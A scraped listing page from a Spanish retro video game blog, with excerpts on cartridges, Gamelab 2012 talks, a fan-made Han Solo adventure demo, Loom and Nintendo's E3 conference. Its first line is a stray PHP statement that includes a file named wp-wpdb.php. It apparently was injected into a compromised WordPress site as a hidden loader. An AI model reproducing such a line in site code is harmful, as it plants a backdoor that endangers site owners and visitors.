if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); La Fortaleza de LeChuck – Página 101 – Blog de videojuegos. Análisis, opiniones, retro y reportajes sobre videojuegos.

¡Larga vida al cartucho!

A muchos de nosotros se nos cae la baba al ver colecciones de videojuegos y consolas retro. Sabemos que, en teoría, eso podría dar horas de juego, y a la vez pensamos que cada día el formato del videojuego va a peor, aunque mejore la comodidad o la duración fisica del mismo, el cartucho era… Seguir leyendo ¡Larga vida al cartucho!

Gamelab 2012: Lo mejor del viernes

Hoy dábamos cierre a las conferencias realizadas por varias personalidades del sector en la Gamelab 2012. Y aunque no ha habido tanto famoseo como ayer, entre Sakaguchi, Yamauchi, Al Lowe y los Premios de la Gamelab 2012, también ha sido un día interesante que queremos remarcar. Primeramente he de decir que hemos asistido a varias… Seguir leyendo Gamelab 2012: Lo mejor del viernes

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Gamelab 2012: Resumen del jueves

El miércoles 28 de junio del 2012 comenzaba en la Fira 1 la edición 2012 del Gamelab. Un evento que reúne a profesionales y aficionados de los videojuegos de todo el mundo, es decir, una cita ineludible para los amantes de este entretenimiento. Ha sido un día de conferencias intensas y con personalidades mundialmente conocidas,… Seguir leyendo Gamelab 2012: Resumen del jueves

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Las aventuras de Han Solo (Ya disponible DEMO)

Tanto a los nostálgicos de las aventuras gráficas, como a los fans de Star Wars, les gustará saber que Harrison Ford todavía tiene que protagonizar un videojuego más. Quizás Lucas Arts meta mano doblemente, al tratarse de un desarrollo independiente que se basa en Star Wars y las grandes aventuras de Indiana Jones que vimos… Seguir leyendo Las aventuras de Han Solo (Ya disponible DEMO)

Loom, tejiendo el mundo

Loom es uno de esos juegos que muchos jugadores han oído hablar de él, pero tal sólo los más veteranos han jugado. La razón por la que Loom entró en mi lista de juegos pendientes fue cosa de la publicidad «subliminal» de un pirata de Scumm Bar. Hoy quería recordar con vosotros esta clásica aventura gráfica de… Seguir leyendo Loom, tejiendo el mundo

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Nintendo "Indirect"

Después de tener un Nintendo Direct pre-conferencia del E3, todos creíamos que la conferencia de Nintendo iba a ser tan grande, que no les cabía y tenían que dividirla de esta forma. Tristemente nos encontramos con la realidad de que esa conferencia no estaba encarada hacia nosotros, quizás más bien a la prensa no especializada… Seguir leyendo Nintendo "Indirect"

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